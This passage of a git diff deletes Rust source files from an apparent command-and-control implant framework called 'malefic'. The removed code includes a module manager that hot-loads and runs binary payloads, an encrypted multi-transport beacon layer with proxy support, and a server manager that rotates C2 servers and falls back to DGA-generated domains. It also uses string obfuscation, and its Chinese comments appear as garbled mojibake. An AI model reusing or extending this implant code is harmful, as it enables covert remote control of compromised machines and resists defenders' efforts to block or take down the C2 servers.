malefic_proto::proto::implantpb::Spite; -use malefic_proto::proto::modulepb::Addon; -use malefic_modules::prelude::*; -use crate::check_body; -use crate::common::error::MaleficError; -use crate::manager::addons::{AddonMap, MaleficAddon}; - -type ModuleRegister = extern "C" fn () -> MaleficBundle; - - - -pub struct MaleficManager { - bundles: HashMap, - pub(crate) modules: Box, - addons: AddonMap -} - -impl MaleficManager{ - pub fn new() -> Self { - MaleficManager { - bundles: HashMap::new(), - modules: Box::new(HashMap::new()), - addons: AddonMap::new(), - } - } - - pub fn clean(&mut self) -> Result<(), MaleficError> { - let _ = self.refresh_addon()?; - let _ = self.refresh_module()?; - Ok(()) - } - - pub fn refresh_module(&mut self) -> Result<(), MaleficError> { - self.bundles.clear(); - self.bundles.insert("origin".to_string(), malefic_modules::register_modules as ModuleRegister); - #[cfg(feature = "malefic-3rd")] - self.bundles.insert("3rd".to_string(), malefic_3rd::register_3rd as ModuleRegister); - self.reload() - } - - pub fn refresh_addon(&mut self) -> Result<(), MaleficError> { - self.addons.clear(); - Ok(()) - } - - pub fn reload(&mut self) -> Result<(), MaleficError> { - self.modules.clear(); - for (_name, bundle) in self.bundles.iter() { - let bundle_modules = bundle(); - debug!("refresh module: {} {:?}", _name, bundle_modules.keys()); - for (module_name, module) in bundle_modules { - self.modules.insert(module_name.to_string(), module); - } - } - Ok(()) - } - - pub fn load_module(&mut self, spite: Spite) -> Result, MaleficError> { - let mut modules = Vec::new(); - #[cfg(feature = "hot_load")] - { - let module = check_body!(spite, Body::LoadModule)?; - let bin = check_field!(module.bin)?; - let bundle_name = check_field!(module.bundle)?; - unsafe { - let bundle = malefic_helper::common::hot_modules::load_module(bin, bundle_name.clone()) - .map_err(|_| MaleficError::ModuleError)?; - - let ret = malefic_helper::common::hot_modules::call_fresh_modules(bundle as _) - .ok_or_else(|| MaleficError::ModuleError)?; - - if ret.is_null() { - return Err(MaleficError::ModuleError); - } - let register_func: ModuleRegister = core::mem::transmute(ret); - self.bundles.insert(bundle_name.to_string(), register_func); - - let bundle_modules = register_func(); - debug!("load modules: {} {:?}", bundle_name.to_string(), bundle_modules.keys()); - for (module_name, module) in bundle_modules { - modules.push(module_name.to_string()); - self.modules.insert(module_name.to_string(), module); - } - - debug!("[+] modules insert succ!"); - } - } - Ok(modules) - } - - pub fn list_module(&self, internal: Vec) -> Vec { - let mut modules: Vec = self.modules.keys().cloned().collect(); - modules.extend(internal); - modules - } - - pub fn get_module(&self, name: &String) -> Option<&Box::> { - self.modules.get(name) - } - - pub fn get_addon(&mut self, name: &String) -> anyhow::Result> { - self.addons.get(name) - } - - pub fn list_addon(&self) -> Vec { - let mut addons = Vec::new(); - for (name, module) in self.addons.iter() { - addons.push(Addon{ - name: name.clone(), - r#type: module.r#type.clone(), - depend: module.depend.clone(), - }) - } - addons - } - - pub fn load_addon(&mut self, spite: Spite) -> Result<(), MaleficError> { - let ext = check_body!(spite, Body::LoadAddon)?; - - let addon = MaleficAddon { - name: check_field!(ext.name)?, - r#type: ext.r#type, - depend: check_field!(ext.depend)?, - content: check_field!(ext.bin)?, - }; - self.addons.insert(addon)?; - Ok(()) - } - - pub fn execute_addon(&mut self, spite: Spite) -> Result { - let ext = check_body!(spite, Body::ExecuteAddon)?; - - let addon = self.get_addon(&check_field!(ext.addon)?)?; - if self.get_module(&addon.depend).is_none() { - return Err(MaleficError::ModuleNotFound); - } - - let mut execute_binary = ext.execute_binary.clone().unwrap(); - execute_binary.bin = addon.content.clone(); - execute_binary.name = addon.name.clone(); - let result = new_spite(spite.task_id, addon.depend.clone(), Body::ExecuteBinary(execute_binary)); - - Ok(result) - } -} \ No newline at end of file diff --git a/malefic-core/src/transport/mod.rs b/malefic-core/src/transport/mod.rs deleted file mode 100644 index d2ee1be..0000000 --- a/malefic-core/src/transport/mod.rs +++ /dev/null @@ -1,504 +0,0 @@ -#[cfg(feature = "tcp")] -pub mod tcp; -#[cfg(feature = "transport_http")] -pub mod http; -#[cfg(feature = "transport_rem")] -pub mod rem; - -#[cfg(feature = "proxy")] -pub mod proxie; - -pub mod server_manager; - -use anyhow::Result; -use async_trait::async_trait; -use futures::lock::Mutex; -use futures::{join, AsyncRead, AsyncReadExt, AsyncWrite, AsyncWriteExt, FutureExt}; -use futures_timer::Delay; -use malefic_helper::debug; -use malefic_proto::crypto::{Cryptor, CryptorError}; -use malefic_proto::{parser_header, SpiteData, HEADER_LEN}; -use std::io; -use std::pin::Pin; -use std::sync::Arc; -use std::time::Duration; -use thiserror::Error; - -cfg_if::cfg_if! { - if #[cfg(feature = "transport_tcp")] { - pub use tcp::TCPTransport as InnterTransport; - pub use tcp::TCPClient as Client; - } else if #[cfg(feature = "transport_http")] { - pub use http::HTTPTransport as InnterTransport; - pub use http::HTTPClient as Client; - } else if #[cfg(feature = "transport_rem")] { - pub use rem::REMTransport as InnterTransport; - pub use rem::REMClient as Client; - } else { - compile_error!("No transport selected"); - } -} - -#[async_trait] -pub trait TransportImpl: AsyncRead + AsyncWrite + Unpin + Send {} - -impl TransportImpl for T where T: AsyncRead + AsyncWrite + Unpin + Send {} - - -#[async_trait] -pub trait ListenerExt: Sized { - async fn bind(addr: &str) -> anyhow::Result; - async fn accept(&mut self) -> anyhow::Result; -} - -#[async_trait] -pub trait DialerExt { - async fn connect(&mut self, config: &ServerConfig) -> anyhow::Result; -} - - - -#[cfg(feature = "bind")] -cfg_if::cfg_if! { - if #[cfg(feature = "transport_tcp")] { - pub use tcp::TCPListenerExt as Listener; - } else { - compile_error!("No transport selected"); - } -} - -#[derive(Error, Debug)] -pub enum TransportError { - #[error(transparent)] - AnyHowError(#[from] anyhow::Error), - - #[error("Failed to connect to the server")] - ConnectionError, - - #[error("Configuration error")] - ConfigurationError, - - #[error("Failed to encrypt/decrypt data")] - CryptorError(#[from] CryptorError), - - #[error("Failed to send data")] - SendError, - - #[error("Failed to send data within the timeout")] - SendTimeout, - - #[error("Deadline")] - Deadline, - - #[error("Connection refused")] - ConnectionRefused, - - #[error("Connection reset")] - ConnectionReset, - - #[error("Connection aborted")] - ConnectionAborted, - - #[error("Network unreachable")] - NetworkUnreachable, - - #[error("Other network error: {0}")] - NetworkError(String), - - #[error("Failed to receive data")] - RecvError, - - #[error("I/O Error: {0}")] - IoError(#[from] io::Error), // è½¬æ¢æ ‡å‡†åº“çš„ I/O 错误 - - #[error("Parser error: {0}")] - ParserError(#[from] malefic_proto::ParserError), - - #[error("Unexpected end of stream")] - UnexpectedEof, - - #[error("Unknown error occurred")] - UnknownError, -} - -impl TransportError { - // 辅助方法:从 anyhow::Error 分类错误 - pub fn from_network_error(error: anyhow::Error) -> Self { - let error_msg = format!("{:?}", error); - - if error_msg.contains(obfstr::obfstr!("os error 10061")) || - error_msg.contains(obfstr::obfstr!("ConnectionRefused")) { - TransportError::ConnectionRefused - } else if error_msg.contains("os error 10054") || - error_msg.contains("Connection reset") { - TransportError::ConnectionReset - } else if error_msg.contains("os error 10053") || - error_msg.contains("Connection aborted") { - TransportError::ConnectionAborted - } else if error_msg.contains("Network unreachable") { - TransportError::NetworkUnreachable - } else { - TransportError::NetworkError(error_msg) - } - } - - pub fn from_io_error(error: &std::io::Error) -> Self { - match error.kind() { - std::io::ErrorKind::ConnectionRefused => TransportError::ConnectionRefused, - std::io::ErrorKind::ConnectionReset => TransportError::ConnectionReset, - std::io::ErrorKind::ConnectionAborted => TransportError::ConnectionAborted, - std::io::ErrorKind::NetworkUnreachable => TransportError::NetworkUnreachable, - _ => TransportError::NetworkError(format!("IO Error: {}", error)) - } - } - - // è¾…åŠ©æ–¹æ³•ï¼šåˆ¤æ–­æ˜¯å¦æ˜¯è¿žæŽ¥é—®é¢˜ - pub fn is_connection_error(&self) -> bool { - matches!(self, - TransportError::ConnectionRefused | - TransportError::ConnectionReset | - TransportError::ConnectionAborted | - TransportError::NetworkUnreachable - ) - } - -} - -impl From<&TransportError> for io::Error { - fn from(transport_error: &TransportError) -> Self { - match transport_error { - TransportError::ConnectionRefused => { - io::Error::new(io::ErrorKind::ConnectionRefused, "Connection refused") - } - TransportError::ConnectionReset => { - io::Error::new(io::ErrorKind::ConnectionReset, "Connection reset") - } - TransportError::ConnectionAborted => { - io::Error::new(io::ErrorKind::ConnectionAborted, "Connection aborted") - } - TransportError::NetworkUnreachable => { - io::Error::new(io::ErrorKind::NetworkUnreachable, "Network unreachable") - } - TransportError::ConnectionError => { - io::Error::new(io::ErrorKind::ConnectionRefused, "Connection failed") - } - _ => io::Error::new(io::ErrorKind::Other, format!("{}", transport_error)) - } - } -} - -pub struct Transport { - pub inner: InnterTransport, - pub write_lock: Arc>, - pub read_lock: Arc>, -} - -// 传输层读å–åŠéƒ¨ -pub struct TransportReadHalf { - reader: Pin>, - read_lock: Arc>, -} - -// 传输层写入åŠéƒ¨ -pub struct TransportWriteHalf { - writer: Pin>, - write_lock: Arc>, -} - -impl Transport { - pub fn new(transport: InnterTransport) -> Self { - Transport { - inner: transport, - write_lock: Arc::new(Mutex::new(false)), - read_lock: Arc::new(Mutex::new(false)), - } - } - - pub fn split(self) -> (TransportReadHalf, TransportWriteHalf) { - let (reader, writer) = self.inner.split(); - let read_half = TransportReadHalf { - reader: Box::pin(reader), - read_lock: self.read_lock.clone(), - }; - let write_half = TransportWriteHalf { - writer: Box::pin(writer), - write_lock: self.write_lock, - }; - (read_half, write_half) - } - - pub async fn write_wait(&self) -> Result<(), ()> { - loop { - let lock_guard = self.write_lock.lock().await; - if *lock_guard { - return Ok(()); - } - drop(lock_guard); - Delay::new(Duration::from_millis(10)).await; - } - } - - pub async fn write_over(&self) { - let mut lock = self.write_lock.lock().await; - *lock = true; - } - - pub async fn read_wait(&self) -> Result<(), ()> { - loop { - let lock_guard = self.read_lock.lock().await; - if *lock_guard { - return Ok(()); - } - drop(lock_guard); - Delay::new(Duration::from_millis(10)).await; - } - } - - pub async fn read_over(&self) { - let mut lock = self.read_lock.lock().await; - *lock = true; - } -} - -impl TransportReadHalf { - async fn read_over(&self) { - let mut lock = self.read_lock.lock().await; - *lock = true; - } - - pub async fn read(&mut self, len: usize) -> Result> { - let mut result = vec![0u8; len]; - let mut total_read = 0; - - while total_read < len { - let remaining = len - total_read; - let chunk_size = remaining.min(8192); - let n = self.reader.read(&mut result[total_read..total_read + chunk_size]).await?; - if n == 0 { - // è¿žæŽ¥å…³é—­æˆ–æ²¡æœ‰æ›´å¤šæ•°æ® - break; - } - total_read += n; - } - - result.truncate(total_read); - Ok(result) - } -} - -impl TransportWriteHalf { - async fn write_wait(&self) -> Result<(), ()> { - loop { - let lock_guard = self.write_lock.lock().await; - if *lock_guard { - return Ok(()); - } - drop(lock_guard); - Delay::new(Duration::from_millis(10)).await; - } - } - - async fn write_over(&self) { - let mut lock = self.write_lock.lock().await; - *lock = true; - } - - pub async fn write(&mut self, data: &[u8]) -> Result { - debug!("[transport] write start"); - match self.writer.write_all(data).await { - Ok(()) => Ok(data.len()), - Err(e) => { - // 这里应该能æ•获到真正的网络错误 - debug!("[transport] write_all failed: {:?}", e); - Err(TransportError::IoError(e).into()) - } - } - } - - pub async fn flush(&mut self) -> Result<()> { - self.writer.flush().await?; - Ok(()) - } -} - - - -#[derive(Clone)] -pub struct Stream { - pub cryptor: Cryptor, -} - -impl Stream { - pub async fn write(&mut self, writer: &mut TransportWriteHalf, data: &[u8]) -> Result { - let encrypted_data = self.cryptor.encrypt(data.to_vec())?; - writer.write(&encrypted_data).await - } - - pub async fn read(&mut self, reader: &mut TransportReadHalf, len: usize) -> Result> { - let data = reader.read(len).await?; - debug!("[stream] read expect:{} actual:{}", len, data.len()); - if data.len() != len { - return Err(TransportError::RecvError.into()); - } - Ok(self.cryptor.decrypt(data)?) - } - - pub fn reset(&mut self) { - self.cryptor.reset(); - } -} - - - -impl Client { - - pub async fn handler( - &mut self, - transport: InnterTransport, - data: SpiteData, - ) -> Result> { - self.stream.cryptor.reset(); - - let mut sender = self.clone(); - let mut receiver = self.clone(); - - let (mut reader, mut writer) = Transport::new(transport).split(); - - futures::select! { - result = async { - let send_task = sender.write(&mut writer, data).fuse(); - let recv_task = receiver.read(&mut reader).fuse(); - let (recv_result, send_result) = join!(recv_task, send_task); - - // 关闭连接 - let _ = writer.writer.close().await; - - if let Err(e) = send_result { - debug!("[client] send error: {:?}", e); - return Err(e.into()); - } - debug!("[client] send success {:?}",send_result); - - match recv_result { - Ok(data) => Ok(Some(data)), - Err(e) => { - debug!("[client] recv error: {:?}", e); - if let Some(io_error) = e.downcast_ref::() { - let transport_error = TransportError::from_io_error(io_error); - if transport_error.is_connection_error() { - debug!("[client] Connection error, propagating"); - return Err(e); - } - } - Ok(None) - } - } - }.fuse() => result, - _ = Delay::new(Duration::from_secs(10)).fuse() => { - debug!("[client] handler timeout after 10 seconds"); - // å°è¯•关闭连接 - let _ = writer.writer.close().await; - Err(TransportError::Deadline.into()) - } - } - } - - pub async fn send(&mut self, transport: InnterTransport, data: SpiteData) -> Result<()> { - let (_, mut writer) = Transport::new(transport).split(); - futures::select! { - result = async { - self.write(&mut writer, data).await - }.fuse() => result, - _ = Delay::new(Duration::from_secs(2)).fuse() => { - Err(TransportError::SendTimeout.into()) - } - } - } - - pub async fn write(&mut self, writer: &mut TransportWriteHalf, data: SpiteData) -> Result<()> { - futures::select! { - result = async { - let header = data.header(); - match self.stream.write(writer, &header).await { - Ok(n) => { - if n != header.len() { - return Err(TransportError::SendError.into()); - } - debug!("[task send] send header success"); - } - Err(e) => { - let transport_error = TransportError::from_network_error(e); - debug!("[task send] Header write error: {:?}", transport_error); - return Err(transport_error.into()); - } - } - - let body = data.body(); - match self.stream.write(writer, &body).await { - Ok(n) => { - if n != body.len() { - return Err(TransportError::SendError.into()); - } - } - Err(e) => { - let transport_error = TransportError::from_network_error(e); - debug!("[task send] Body write error: {:?}", transport_error); - return Err(transport_error.into()); - } - } - debug!("[task send] send body success"); - writer.flush().await?; - writer.write_over().await; - debug!("[task send] send over"); - writer.write_wait().await - .map_err(|_| TransportError::SendError)?; - Ok(()) - }.fuse() => result, - _ = Delay::new(Duration::from_secs(2)).fuse() => { - Err(TransportError::SendTimeout.into()) - } - } - } - - pub async fn read(&mut self, reader: &mut TransportReadHalf) -> Result { - futures::select! { - res = async { - // 接收header - let response_data = self.stream.read(reader, HEADER_LEN).await?; - if response_data.len() != HEADER_LEN { - debug!("[task recv] recv header error: expect {} actual {}", HEADER_LEN, response_data.len()); - return Err(TransportError::RecvError.into()); - } - - let mut spitedata = parser_header(&response_data)?; - debug!("[task recv] recv header success: {:?}, length: {}", response_data, spitedata.length); - - // 接收body - let data = self.stream.read(reader, spitedata.length as usize + 1).await?; - spitedata.set_data(data)?; - reader.read_over().await; - debug!("[task recv] recv over"); - debug!("spitedata: {:?}", spitedata); - Ok(spitedata) - }.fuse() => { - debug!("recv end"); - match res { - Ok(data) => Ok(data), - Err(e) => { - reader.read_over().await; - Err(e) - } - } - }, - _ = Delay::new(Duration::from_secs(5)).fuse() => { - debug!("recv timeout"); - reader.read_over().await; - Err(TransportError::Deadline.into()) - } - } - } -} - -// 导出æœåŠ¡å™¨ç®¡ç†ç›¸å…³ç±»åž‹ -pub use server_manager::{ServerManager, ServerInfo, ServerStatus, ServerStats}; -use crate::config::ServerConfig; diff --git a/malefic-core/src/transport/proxie/utils.rs b/malefic-core/src/transport/proxie/utils.rs deleted file mode 100644 index 7b07301..0000000 --- a/malefic-core/src/transport/proxie/utils.rs +++ /dev/null @@ -1,123 +0,0 @@ -use base64::{Engine as _, engine::general_purpose}; -use anyhow::Result; -use crate::transport::proxie::{ - target::{Target, TargetHost, ToTarget}, - proxy::{Auth, HTTPProxy, SOCKS5Command}, -}; - -pub(crate) fn make_http_connect_request(addr: &impl ToTarget, proxy: &HTTPProxy) -> Result { - let addr = addr.to_target()?.to_string(); - let mut request = format!( - "CONNECT {0} HTTP/1.1\r\n\ - Host: {0}\r\n\ - User-Agent: proxie/0.0\r\n\ - Proxy-Connection: Keep-Alive\r\n", - addr - ); - - match &proxy.auth { - Some(auth) => { - let raw_auth = format!("{}:{}", auth.username, auth.password); - let encoded_auth: String = general_purpose::STANDARD.encode(raw_auth.as_bytes()); - request.push_str(&format!("Proxy-Authorization: Basic {}\r\n", encoded_auth)); - }, - None => {}, - }; - - request.push_str("\r\n"); - - Ok(request) -} - - - -pub(crate) fn make_socks5_initial_request(auth: &Option) -> Vec { - //RFC 1928, version identifier/method selection message - let mut request = vec![]; - - request.push(0x05); //VER = 0x05 - - match auth { - Some(_) => { - request.push(2u8); //NMETHODS = 2 - request.push(0x00); //METHODS = {NO AUTHENTICATION REQUIRED} - request.push(0x02); //METHODS = {NO AUTHENTICATION REQUIRED, USERNAME/PASSWORD} - }, - None => { - request.push(1u8); //NMETHODS = 1 - request.push(0x00); //METHODS = {NO AUTHENTICATION REQUIRED} - } - } - - request -} - -pub(crate) fn make_socks5_authentication_request(auth: &Auth) -> Vec { - //RFC 1929 - let mut request = vec![]; - - request.push(0x01); //VER = 0x01 - - let u_len = auth.username.len(); - request.push(u_len as u8); //ULEN - for c in auth.username.chars() { - request.push(c as u8); //UNAME - } - - let p_len = auth.password.len(); - request.push(p_len as u8); //PLEN - for c in auth.password.chars() { - request.push(c as u8); //PASSWD - } - - request -} - -pub(crate) fn make_socks5_request(cmd: SOCKS5Command, target: &Target) -> Result> { - //RFC 1928 - let mut request = vec![]; - - request.push(0x05); //VER = 0x05 - - let cmd = match cmd { - SOCKS5Command::CONNECT => 0x01 //CMD = 0x01, - //Other commands unimplemented yet - }; - request.push(cmd); - - request.push(0x00); //RSV = 0x00 - - match &target.host { - TargetHost::IPv4(ip) => { - request.push(0x01); //ATYP = 0x01, len(IPv4) = 4 - - let ip_bytes = ip.octets(); - for byte in ip_bytes { - request.push(byte); //DST.ADDR - } - }, - TargetHost::IPv6(ip) => { - request.push(0x04); //ATYP = 0x04, len(IPv6) = 16 - - let ip_bytes = ip.octets(); - for byte in ip_bytes { - request.push(byte); //DST.ADDR - } - }, - TargetHost::Hostname(host) => { - request.push(0x03); //ATYP = 0x03 - - let len = host.len(); - request.push(len as u8); //DST.ADDR, first byte indicating length - - for c in host.chars() { - request.push(c as u8); //DST.ADDR, actual data - } - }, - }; - - request.push((target.port >> 8) as u8); //High 8 bits of port - request.push((target.port & 0x00FF) as u8); //Low 8 bits of port - - Ok(request) -} \ No newline at end of file diff --git a/malefic-core/src/transport/rem/mod.rs b/malefic-core/src/transport/rem/mod.rs deleted file mode 100644 index 1732ebe..0000000 --- a/malefic-core/src/transport/rem/mod.rs +++ /dev/null @@ -1,223 +0,0 @@ -use std::future::Future; -use crate::transport::{DialerExt, Stream}; -use crate::common::spawn_blocking; -use anyhow::Result; -use async_trait::async_trait; -use futures::{AsyncRead, AsyncWrite}; -use malefic_helper::common::rem; -use malefic_helper::debug; -use std::io; -use std::pin::Pin; -use std::task::{Context, Poll}; -use malefic_proto::crypto::Cryptor; -use crate::config::{ServerConfig, TransportConfig, SERVER_CONFIGS}; - -pub struct REMTransport { - handle: i32, - buffer: Vec, - buffer_pos: usize, - read_future: Option, String>> + Send>>>, - eof: bool, -} - -impl REMTransport { - pub fn new(handle: i32) -> Self { - debug!("[rem] Creating new REM transport with handle: {}", handle); - REMTransport { - handle, - buffer: Vec::new(), - buffer_pos: 0, - read_future: None, - eof: false, - } - } - - pub fn handle(&self) -> i32 { - self.handle - } -} - -impl AsyncRead for REMTransport { - fn poll_read( - mut self: Pin<&mut Self>, - cx: &mut Context<'_>, - buf: &mut [u8], - ) -> Poll> { - // 如果缓冲区中有å¯ç”¨æ•°æ®ï¼Œç›´æŽ¥å¤åˆ¶åˆ°ç›®æ ‡ç¼“冲区 - if self.buffer.len() > self.buffer_pos { - let available = &self.buffer[self.buffer_pos..]; - let to_copy = std::cmp::min(available.len(), buf.len()); - buf[0..to_copy].copy_from_slice(&available[0..to_copy]); - self.buffer_pos += to_copy; - if self.buffer_pos == self.buffer.len() { - self.buffer.clear(); - self.buffer_pos = 0; - } - debug!("[rem] Read {} bytes from buffer for handle {}", to_copy, self.handle); - return Poll::Ready(Ok(to_copy)); - } - - // 如果已达到 EOF,返回 0 - if self.eof { - debug!("[rem] EOF reached for handle {}", self.handle); - return Poll::Ready(Ok(0)); - } - - // æ£€æŸ¥æ˜¯å¦æœ‰æ­£åœ¨è¿›è¡Œçš„è¯»å–æ“作 - if let Some(fut) = &mut self.read_future { - match fut.as_mut().poll(cx) { - Poll::Ready(Ok(data)) => { - self.read_future = None; - if data.is_empty() { - self.eof = true; - debug!("[rem] EOF detected for handle {}", self.handle); - } else { - self.buffer = data; - self.buffer_pos = 0; - debug!("[rem] Fetched {} bytes into buffer for handle {}", self.buffer.len(), self.handle); - } - return self.poll_read(cx, buf); - } - Poll::Ready(Err(e)) => { - self.read_future = None; - return Poll::Ready(Err(io::Error::new(io::ErrorKind::Other, e))); - } - Poll::Pending => return Poll::Pending, - } - } - - // å¯åŠ¨æ–°çš„è¯»å–æ“作 - let handle = self.handle; - let fut = spawn_blocking(move || { - let mut read_buf = vec![0; 4096]; // 使用固定大å°çš„缓冲区 - let n = rem::memory_read(handle, &mut read_buf); - match n { - Ok(n) => { - debug!("[rem] Blocking read fetched {} bytes for handle {}", n, handle); - Ok(read_buf[0..n].to_vec()) - } - Err(e) => { - Err(e) - } - } - }); - - // å°† JoinHandle 包装为åªè¿”回 Result, String> çš„ Future - let wrapped_fut = async move { - match fut.await { - Ok(result) => result, // æå–内部的 Result, String> - Err(join_err) => { - // å°† JoinError 转æ¢ä¸º String 错误 - Err(format!("Thread pool error: {}", join_err)) - } - } - }; - self.read_future = Some(Box::pin(wrapped_fut)); - Poll::Pending - } -} - -impl AsyncWrite for REMTransport { - fn poll_write( - self: Pin<&mut Self>, - _cx: &mut Context<'_>, - buf: &[u8], - ) -> Poll> { - let handle = self.handle; - match rem::memory_write(handle, buf) { - Ok(n) => { - if n > 0 { - debug!("[rem] Wrote {} bytes to handle {}", n, handle); - } - Poll::Ready(Ok(n)) - } - Err(e) => { - Poll::Ready(Err(io::Error::new(io::ErrorKind::Other, e))) - } - } - } - - fn poll_flush(self: Pin<&mut Self>, _cx: &mut Context<'_>) -> Poll> { - // REM transport doesn't need explicit flushing - Poll::Ready(Ok(())) - } - - fn poll_close(self: Pin<&mut Self>, _cx: &mut Context<'_>) -> Poll> { - let handle = self.handle; - - match rem::memory_close(handle) { - Ok(_) => { - debug!("[rem] Closed handle {}", handle); - Poll::Ready(Ok(())) - } - Err(e) => { - Poll::Ready(Err(io::Error::new(io::ErrorKind::Other, e))) - } - } - } -} - -#[derive(Clone)] -pub struct REMClient { - pub stream: Stream, - pub agent_id: String, // -} - -impl REMClient { - - pub fn new(cryptor: Cryptor) -> Result { - // use crate::config::REM; - // let mut cmdline = REM.to_string(); - // 暂时,获å–第一个 REM é…ç½® - let first_rem_config = SERVER_CONFIGS.iter().find_map(|config| { - if let TransportConfig::Rem(rem_config) = &config.transport_config { - Some(rem_config) - } else { - None - } - }).ok_or_else(|| anyhow::anyhow!("No REM configuration found"))?; - - let mut cmdline = first_rem_config.link.clone(); - - if cfg!(debug_assertions) { - cmdline = cmdline + " --debug"; - } - - debug!("[rem] REM cmdline: {}", cmdline); - - match rem::rem_dial(&cmdline) { - Ok(agent_id) => { - debug!("[rem] Successfully initialized REM, agent_id: {}", agent_id); - Ok(REMClient { - stream: Stream { cryptor }, - agent_id, - }) - } - Err(e) => { - Err(anyhow::anyhow!("REM initialization failed: {}", e)) - } - } - } -} - -#[async_trait] -impl DialerExt for REMClient { - async fn connect(&mut self, config: &ServerConfig) -> Result { - // let link = match &config.transport_config { - // TransportConfig::Rem(rem_config) => rem_config.link.clone(), - // _ => return Err(anyhow::anyhow!("Invalid transport config")), - // }; - let address = config.address.clone(); - // Now dial the specific memory address using agent_id - debug!("[transport] Dialing memory address: {:?} ",address); - match rem::memory_dial("memory", &address) { - Ok(handle) => { - debug!("[transport] Successfully dialed memory, handle: {}", handle); - Ok(REMTransport::new(handle)) - } - Err(e) => { - Err(anyhow::anyhow!("Memory dial failed: {}", e)) - } - } - } -} diff --git a/malefic-core/src/transport/server_manager.rs b/malefic-core/src/transport/server_manager.rs deleted file mode 100644 index 86c7e4b..0000000 --- a/malefic-core/src/transport/server_manager.rs +++ /dev/null @@ -1,263 +0,0 @@ -use std::time::{Duration, Instant}; -use malefic_helper::debug; -use crate::config::ServerConfig; - -/// æœåŠ¡å™¨çŠ¶æ€æžšä¸¾ -#[cfg_attr(debug_assertions, derive(Debug))] -#[derive(Clone, PartialEq)] -pub enum ServerStatus { - NotRegistered, - Registered, - Unavailable, -} - -/// å•个æœåŠ¡å™¨ä¿¡æ¯ -#[cfg_attr(debug_assertions, derive(Debug))] -#[derive(Clone)] -pub struct ServerInfo { - pub address: String, - pub server_config: ServerConfig, - pub status: ServerStatus, - pub last_success: Option, - pub last_failure: Option, - pub consecutive_failures: u32, - pub can_retry: bool, -} - -/// æœåŠ¡å™¨ç®¡ç†å™¨ -#[cfg_attr(debug_assertions, derive(Debug))] -pub struct ServerManager { - pub servers: Vec, - pub current_index: usize, - pub max_retry_per_server: u32, - pub max_global_retry: u32, - pub connection_timeout: Duration, - pub enable_dga: bool, - pub has_registered: bool, - #[cfg(feature = "dga")] - dga_generator: Option, - pub dga_mode: bool, -} - -impl ServerManager { - pub const INITIAL_REGISTRATION_ATTEMPTS: u32 = 3; - - pub fn new( - server_configs: Vec, - config: Option<(u32, u32, Duration, bool)>, - ) -> Self { - use crate::config::{DGA_ENABLE, GLOBAL_RETRY, SERVER_RETRY}; - - let (max_retry_per_server, max_global_retry, connection_timeout, enable_dga) = - config.unwrap_or_else(|| { - ( - *SERVER_RETRY, - *GLOBAL_RETRY, - Duration::from_secs(10), - *DGA_ENABLE, - ) - }); - - #[cfg(feature = "dga")] - let dga_generator = if enable_dga { - // - let dga_configs: Vec = server_configs.iter() - .filter(|config| config.supports_dga()) - .cloned() - .collect(); - - if !dga_configs.is_empty() { - match crate::dga::DgaGenerator::from_server_configs(dga_configs) { - Ok(gen) => Some(gen), - Err(_e) => { - debug!("[server_manager] Failed to create DGA generator: {:?}", _e); - None - } - } - } else { - debug!("[server_manager] No servers support DGA"); - None - } - } else { - None - }; - - let mut servers: Vec = Vec::new(); - for server_config in server_configs { - let address = server_config.address.clone(); - if servers.iter().any(|s| s.address.as_str() == address.as_str()) { - continue; - } - servers.push(ServerInfo { - address, - server_config, - status: ServerStatus::NotRegistered, - last_success: None, - last_failure: None, - consecutive_failures: 0, - can_retry: true, - }); - } - - #[cfg(feature = "dga")] - let dga_enable = dga_generator.is_some(); - #[cfg(not(feature = "dga"))] - let dga_enable = false; - - Self { - servers, - current_index: 0, - max_retry_per_server, - max_global_retry, - connection_timeout, - enable_dga, - has_registered: false, - #[cfg(feature = "dga")] - dga_generator, - dga_mode: dga_enable - } - } - - /// 获å–当剿œåС噍 - pub fn current_server(&self) -> Option<&ServerInfo> { - self.servers.get(self.current_index) - } - - pub fn current_server_config(&mut self) -> Option { - self.servers.get(self.current_index).map(|s| s.server_config.clone()) - } - - /// 获å–当剿œåС噍URL - pub fn current_address(&self) -> Option<&str> { - self.current_server().map(|s| s.address.as_str()) - } - - - /// æ ‡è®°å½“å‰æœåŠ¡å™¨æ³¨å†ŒæˆåŠŸ - pub fn mark_register(&mut self) { - if let Some(server) = self.servers.get_mut(self.current_index) { - server.status = ServerStatus::Registered; - server.last_success = Some(Instant::now()); - server.consecutive_failures = 0; - self.has_registered = true; - debug!("[server_manager] Server {} registration successful", server.address); - } - } - - /// æ ‡è®°å½“å‰æœåŠ¡å™¨é€šä¿¡æˆåŠŸ - pub fn mark_success(&mut self) { - if let Some(server) = self.servers.get_mut(self.current_index) { - server.last_success = Some(Instant::now()); - server.consecutive_failures = 0; - debug!("[server_manager] Server {} communication successful", server.address); - } - } - - /// æ ‡è®°å½“å‰æœåŠ¡å™¨è¿žæŽ¥å¤±è´¥ - pub fn mark_failure(&mut self) { - if let Some(server) = self.servers.get_mut(self.current_index) { - server.last_failure = Some(Instant::now()); - server.consecutive_failures += 1; - - if server.consecutive_failures >= self.max_retry_per_server { - server.status = ServerStatus::Unavailable; - debug!("[server_manager] Server {} marked as unavailable after {} failures", - server.address, server.consecutive_failures); - } else { - debug!("[server_manager] Server {} failure count: {}/{}", - server.address, server.consecutive_failures, self.max_retry_per_server); - } - } - } - - /// æ£€æŸ¥å½“å‰æœåŠ¡å™¨æ˜¯å¦åº”该é‡è¯• - pub fn retry_current(&self) -> bool { - if let Some(server) = self.current_server() { - server.consecutive_failures < self.max_retry_per_server - } else { - false - } - } - - /// æ£€æŸ¥å½“å‰æœåŠ¡å™¨æ˜¯å¦å·²æ³¨å†Œè¿‡ - pub fn is_registered(&self) -> bool { - if let Some(server) = self.current_server() { - server.status == ServerStatus::Registered - } else { - false - } - } - - /// 切æ¢åˆ°ä¸‹ä¸€ä¸ªæœåŠ¡å™¨ï¼ˆæŒ‰ä¼˜å…ˆçº§é¡ºåºï¼‰ - pub fn switch_to_next(&mut self) -> bool { - let total_servers = self.servers.len(); - - if total_servers == 0 { - return false; - } - - // å°è¯•下一个正常æœåС噍 - for step in 1..=total_servers { - let next_index = (self.current_index + step) % total_servers; - - if let Some(server) = self.servers.get(next_index) { - // åªè¦ä¸æ˜¯Unavailable状æ€å°±å¯ä»¥å°è¯• - if server.status != ServerStatus::Unavailable { - self.current_index = next_index; - debug!("[server_manager] Switched to server {} (index: {})", - server.address, next_index); - return true; - } - } - } - - #[cfg(feature = "dga")] - { - if self.enable_dga { - // dga_generator生æˆserversç„¶åŽï¼Œpush到servers里 - let new_servers = if let Some(ref dga_generator) = self.dga_generator { - 